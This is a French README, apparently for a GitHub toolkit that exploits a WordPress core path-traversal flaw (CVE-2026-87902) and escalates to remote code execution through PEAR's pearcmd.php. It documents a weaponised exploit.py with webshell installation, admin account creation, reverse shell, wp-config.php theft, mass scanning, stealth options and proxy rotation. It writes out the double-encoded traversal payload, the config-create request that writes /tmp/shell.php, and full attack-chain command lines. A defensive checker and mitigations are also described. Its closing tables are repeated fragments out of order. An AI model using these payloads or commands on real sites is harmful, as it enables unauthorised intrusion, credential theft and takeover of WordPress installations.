Boîte à outils WordPress CVE-2026-87902 LFI-to-RCE avec une chaîne d'exploitation weaponisée (PEAR RCE, webshell, création d'admin, loot) et une version SafeChecker non intrusive ainsi qu'un auditeur de risques.

USAGE ÉTHIQUE UNIQUEMENT – TESTS DE SÉCURITÉ AUTORISÉS
Ce dépôt fournit des outils destinés exclusivement aux professionnels de la sécurité autorisés, aux blue teams et aux testeurs d'intrusion.
L'accès non autorisé à des systèmes informatiques est illégal en vertu du CFAA (États-Unis), du Computer Misuse Act (Royaume-Uni), du TCK 243/244 (Turquie) et de lois similaires dans le monde entier.
CVE‑2026‑87902 est une vulnérabilité critique de traversée de chemin et d'inclusion locale de fichier (LFI) non authentifiée dans WordPress Core (versions 4.7.0 à 7.1.1) qui permet à un attaquant non authentifié d'inclure des fichiers .php locaux arbitraires via le paramètre de requête pagename, et, dans des conditions serveur spécifiques, d'escalader vers une exécution de code à distance (RCE) en enchaînant le fichier PEAR pearcmd.php. Score CVSS : 9.2 (Critique). Divulguée par Robert Ressl via le programme HackerOne de WordPress en juillet 2026. Corrigée dans la version 7.1.2 le 22 septembre 2026, avec des rétroportages jusqu'à la 4.7.
La faille affecte chaque version de WordPress depuis 2016 — une décennie de versions qui ont passé la revue de code sans être détectées. La cause racine est un unique appel de validation manquant dans l'un des chemins de code les plus empruntés du CMS.
Résolution de template non assainie – get_page_template() dans wp-includes/template.php construit des candidats de template à partir de la variable de requête pagename. Un chemin de code voisin dans la même fonction applique validate_file() pour bloquer les séquences ../, mais la branche $pagename ne l'appelle pas. Toute traversée dans pagename passe sans contrôle.
Contournement de traversée doublement encodée – WordPress applique sanitize_title_for_query() à pagename, qui remplace les points littéraux (.) par des tirets pour empêcher la traversée. Mais la fonction opère sur une entrée déjà décodée et ne décode pas récursivement. Un attaquant envoie %252e%252e%252f ; le serveur web le décode une fois en %2e%2e%2f ; le sanitizer ne voit aucun point littéral et le laisse passer ; puis get_page_template() appelle urldecode() à nouveau à l'intérieur de la fonction, produisant ../.
Précondition du répertoire de thème – Le thème actif doit contenir un répertoire de premier niveau dont le nom commence par page- (par exemple page-templates/). Le nom de fichier construit page-{pagename}.php s'échappe alors de la racine du thème via la traversée. Les anciens thèmes par défaut (Twenty Twelve, Twenty Fourteen) et les thèmes tiers populaires (Neve, Hestia, Sydney) embarquent ce répertoire. Les thèmes enfants héritant de tels parents satisfont également la précondition.
Point de chute LFI dans locate_template() – Le chemin candidat est passé à locate_template(), qui recherche dans les répertoires de thèmes. Comme la traversée résout vers un fichier en dehors de ces répertoires, et que la fonction ne vérifie que file_exists(), tout fichier .php lisible est inclus avec les pleins privilèges du serveur web. Cela rend la LFI inconditionnelle sur tout site non corrigé remplissant la précondition de thème — y compris wp-config.php avec ses identifiants de base de données et ses sels d'authentification.
Escalade RCE via PEAR pearcmd.php – PEAR est livré avec de nombreuses installations PHP. Son pearcmd.php est normalement réservé à la CLI, mais lorsque register_argc_argv=On, PHP remplit $_SERVER['argv'] à partir de la chaîne de requête de l'URL. L'attaquant inclut pearcmd.php via la LFI, passe config-create comme argument, et fournit du code PHP plus un chemin de sortie (/tmp/shell.php). PEAR écrit le code de l'attaquant sur le disque ; une seconde inclusion l'exécute.
Seconde route d'exploitation – Une requête combinant name (slug de la page d'accueil), page_id (ID de la page des articles), preview=true et une charge utile pagename détourne WP_Query vers sa branche post_name, qui ne réécrit jamais pagename via sanitize_title_for_query(). Cela autorise des points littéraux dans la traversée. Nécessite un thème sans single.php.
Exigences de configuration serveur – La RCE dépend de deux conditions courantes dans les déploiements réels : pearcmd.php présent/lisible (fréquent sur l'hébergement mutualisé, cPanel, images Docker PHP officielles), et register_argc_argv=On (par défaut dans PHP inférieur à 8.5). PHP 8.5 a changé la valeur par défaut à Off. Sur un serveur PHP 8.5+ moderne sans PEAR, l'exploitation s'arrête à la LFI.
Le correctif – WordPress 7.1.2 ajoute deux couches de défense : (a) l'appel manquant à validate_file() dans la branche pagename, et (b) une nouvelle fonction _wp_is_template_path_allowed() appelée par locate_template() pour chaque template résolu. La fonction rejette les chemins contenant .., puis résout le chemin réel via realpath() et vérifie qu'il se trouve à l'intérieur de l'un des répertoires de thèmes autorisés. Cette défense en profondeur ferme le point de chute, pas seulement une route y menant.
Exploitation active dans la nature – Premières requêtes malveillantes observées 5 heures après la publication du correctif (17:44 UTC, 22 septembre 2026). Le trafic a augmenté de dix fois le jour suivant. Trois étapes observées : reconnaissance config-show → détection de fichiers core → armement config-create. Les noms de fichiers de charge utile incluaient wp-pear-rce-flag.php, poc87902.php, luci_*.php, zeta_*.php, écrits dans /tmp et /var/tmp. IP attaquantes : 169.58.48.193, 169.58.48.195, 2001:df1:e8c0::106b.
Impact – Exécution de code avec les privilèges du serveur web. Prise de contrôle complète du site, vol d'identifiants wp-config.php, exfiltration de données, installation de webshell, création d'utilisateur admin, reverse shell, attaques de chaîne d'approvisionnement via des plugins/thèmes modifiés, et mouvement latéral vers les services connectés. Le score CVSS 9.2 reflète une exploitation réseau, sans authentification, avec un impact élevé sur la confidentialité/intégrité/disponibilité. La complexité d'attaque élevée reflète les préconditions de thème et de serveur, mais sur l'hébergement mutualisé typique, ces conditions sont fréquemment remplies.
page-* dans le thème actif, définissez register_argc_argv=Off dans php.ini, et bloquez la traversée doublement encodée dans le paramètre pagename au niveau du WAF.| Outil | Objectif | Utilisateur visé |
|---|---|---|
exploit.py | Boîte à outils complète armée avec détection LFI, chaîne RCE PEAR, création d'utilisateur admin, installation de webshell, reverse shell, scan de masse, mode furtif, rotation de proxy, et chaîne d'attaque complète. | Red teams / pentesters autorisés |
safecheck.py | Vérificateur de vulnérabilité non intrusif qui détecte la version de WordPress, valide l'exposition, et évalue le risque sans inclure aucun fichier ni exécuter aucune charge utile. Génère des rapports JSON. | Blue teams / auditeurs de sécurité |
| Fonctionnalité | exploit.py | safecheck.py |
|---|---|---|
| Détection de vulnérabilité | ✅ | ✅ |
| Détection de version | ✅ | ✅ |
Vérification du répertoire page-* du thème | ✅ | ✅ |
Accessibilité de PEAR pearcmd.php | ✅ | ✅ |
Vérification de register_argc_argv | ✅ | ✅ |
| Sonde de comportement WAF | ❌ | ✅ |
| Sonde LFI doublement encodée | ✅ | ❌ |
RCE PEAR config-create | ✅ | ❌ |
| Création d'utilisateur admin | ✅ | ❌ |
| Installation de webshell | ✅ | ❌ |
| Reverse shell | ✅ | ❌ |
Extraction de wp-config.php | ✅ | ❌ |
| Chaîne d'attaque complète | ✅ | ❌ |
| Scan de masse (multi‑thread) | ✅ | ✅ |
| Prise en charge de proxy | ✅ | ✅ |
| Rotation de proxy | ✅ | ❌ |
| Rotation de User‑Agent (OPSEC) | ✅ | ❌ |
| Jitter (OPSEC) | ✅ | ❌ |
| Limiteur de débit | ✅ | ❌ |
| Mode non intrusif (sûr) | ❌ | ✅ |
| Rapport d'évaluation des risques | ✅ |
| Scénario | Outil recommandé |
|---|---|
| Blue Team – vérifier si votre WordPress est vulnérable | safecheck.py |
| Audit de sécurité – évaluation de vulnérabilité non intrusive | safecheck.py |
| Red Team – test d'intrusion autorisé avec exploitation complète | exploit.py |
| Bug Bounty – test de divulgation responsable | safecheck.py |
| Scan de masse – vérification de plusieurs cibles pour la vulnérabilité | exploit.py (détection uniquement) |
| Réponse à incident – vérifier si des systèmes sont compromis | safecheck.py |
git clone https://github.com/tc4dy/CVE-2026-87902-Toolkit
cd CVE-2026-87902-Toolkit
pip install -r requirements.txt
requests
urllib3
exploit.py| Paramètre | Description |
|---|---|
-u, --url | URL WordPress cible unique (par exemple http://wordpress.example.com) |
-f, --file | Fichier contenant une liste de cibles (une par ligne) pour le scan de masse |
--pipe | Lire les cibles depuis stdin |
--exploit | Effectuer l'exploitation après la détection |
--create-admin | Créer un utilisateur admin persistant (format : USER:PASS) |
--webshell | Installer un webshell via RCE |
--reverse-shell | Déclencher un reverse shell (format : LHOST:LPORT) |
--loot | Extraire wp-config.php et d'autres fichiers |
--threads | Nombre de threads pour multi‑cibles (par défaut : 8) |
--timeout | Délai d'expiration des requêtes (par défaut : 15s) |
--retry | Nombre maximal de tentatives (par défaut : 3) |
--proxy | Proxy HTTP/HTTPS (par exemple http://127.0.0.1:8080) |
--proxy-list | Fichier avec les proxies pour rotation (un par ligne) |
--proxy-rotate | Stratégie de rotation de proxy (round-robin, random, sticky) |
--jitter | Jitter aléatoire entre les requêtes |
--jitter-range | Jitter min,max secondes (par défaut : 0.1,2.0) |
--delay | Délai fixe entre les requêtes |
--stealth | Activer le mode furtif (rotation UA + jitter) |
--insecure | Désactiver la vérification TLS |
safecheck.py| Paramètre | Description |
|---|---|
-u, --url | URL WordPress cible unique (par exemple http://wordpress.example.com) |
-f, --file | Fichier contenant une liste de cibles (une par ligne) |
--pipe | Lire les cibles depuis stdin |
-t, --threads | Nombre de threads pour multi‑cibles (par défaut : 8) |
--timeout | Délai d'expiration des requêtes (par défaut : 15s) |
--retry | Nombre maximal de tentatives (par défaut : 3) |
--proxy | Proxy HTTP/HTTPS |
--jitter | Jitter aléatoire entre les requêtes |
--jitter-range | Jitter min,max secondes (par défaut : 0.1,2.0) |
--delay | Délai fixe entre les requêtes |
--insecure | Désactiver la vérification TLS |
--user-agent | User-Agent personnalisé |
--max-body | Taille maximale du corps de réponse |
--concurrent-per-host | Nombre maximal de requêtes simultanées par hôte |
--exclude | Hôtes à exclure, séparés par des virgules |
-o, --output | Enregistrer le rapport JSON dans un fichier (.json, .csv, .html, .jsonl) |
--db | Fichier de base de données SQLite |
-v, --verbose | Sortie verbeuse |
-q, --quiet | Mode silencieux |
--no-banner | Supprimer la bannière |
| # | Scénario | Commande |
|---|---|---|
| 1 | Vérification rapide de vulnérabilité | python safecheck.py -u http://wordpress.example.com |
| 2 | Scan détaillé avec rapport | python safecheck.py -u http://wordpress.example.com -o report.json -v |
| 3 | Audit de masse depuis un fichier | python safecheck.py -f targets.txt -t 10 -o audit.json |
| 4 | Exploit en détection uniquement | python exploit.py -u http://wordpress.example.com |
| 5 | Extraction de wp-config.php | python exploit.py -u http://wordpress.example.com --exploit --loot |
| 6 | Attaque complète avec webshell | python exploit.py -u http://wordpress.example.com --exploit --webshell |
| 7 | Créer un utilisateur admin persistant | python exploit.py -u http://wordpress.example.com --exploit --create-admin evil:P@ssw0rd1 |
| 8 | Reverse shell | python exploit.py -u http://wordpress.example.com --exploit --reverse-shell 10.0.0.1:4444 |
| 9 | Chaîne d'attaque complète | python exploit.py -u http://wordpress.example.com --exploit --loot --webshell --create-admin evil:P@ssw0rd1 |
| 10 | Exploit de masse avec furtivité | python exploit.py -f targets.txt -t 20 --exploit --stealth --jitter -o results.json |
| 11 | Rotation de proxy | python exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate random --exploit |
L'exploit utilise les points de terminaison WordPress et les étapes d'exploitation suivantes :
| Étape | Méthode | Point de terminaison | Description |
|---|---|---|---|
| 1. Empreinte | GET | / | Détecter WordPress via wp-content, wp-includes, wp-json |
| 2. Version | GET | /feed/ | Extraire la version via la méta <generator> |
| 3. ID de page | GET | /wp-json/wp/v2/pages | Découvrir un page_id valide |
| 4. Répertoire de thème | GET | /wp-content/themes/{theme}/page-templates/ | Confirmer la précondition page-* |
| 5. Sonde LFI | GET | /?page_id={id}&pagename={payload} | Traversée doublement encodée pour inclure un fichier local |
| 6. Inclusion PEAR | GET | /?page_id={id}&pagename={pearcmd} | Inclure pearcmd.php |
| 7. RCE PEAR | GET | /?+config-create+/&page_id={id}&pagename={pearcmd}&/{payload}+{outfile} | Écrire un fichier PHP via PEAR |
| 8. Exécution | GET | /?page_id={id}&pagename={outfile} | Inclure le fichier écrit → RCE |
| 9. Persistance | GET | (via RCE) | Créer un utilisateur admin / webshell |
| 10. Extraction | GET | /?page_id={id}&pagename={wp-config} | Lire wp-config.php via LFI |
# Exemple de traversée doublement encodée
pagename = page-templates/..%252f..%252f..%252f..%252fusr/local/lib/php/pearcmd
# Chaîne RCE PEAR config-create
GET /?+config-create+/&page_id=2&pagename={encoded_pearcmd}&/{encoded_php}+/tmp/shell.php
# Déclencheur d'inclusion PEAR
GET /?page_id=2&pagename={encoded_output_path}
Ce logiciel est fourni à des fins éducatives et de tests de sécurité autorisés uniquement.
| ✅ |
| Recommandations d'atténuation | ❌ | ✅ |
| Rapport JSON | ✅ | ✅ |
| Rapport CSV | ✅ | ✅ |
| Rapport HTML | ✅ | ✅ |
| Sortie SQLite | ✅ | ✅ |
| User‑Agent personnalisé | ✅ | ✅ |
| Contrôle de vérification SSL | ✅ | ✅ |
--user-agent | User-Agent personnalisé |
--max-body | Taille maximale du corps de réponse |
--concurrent-per-host | Nombre maximal de requêtes simultanées par hôte |
--rate-limit | Nombre maximal de requêtes par seconde |
--exclude | Hôtes à exclure, séparés par des virgules |
-o, --output | Enregistrer le rapport dans un fichier (.json, .csv, .html, .jsonl) |
--db | Fichier de base de données SQLite |
-v, --verbose | Sortie verbeuse |
-q, --quiet | Mode silencieux |
--no-banner | Supprimer la bannière |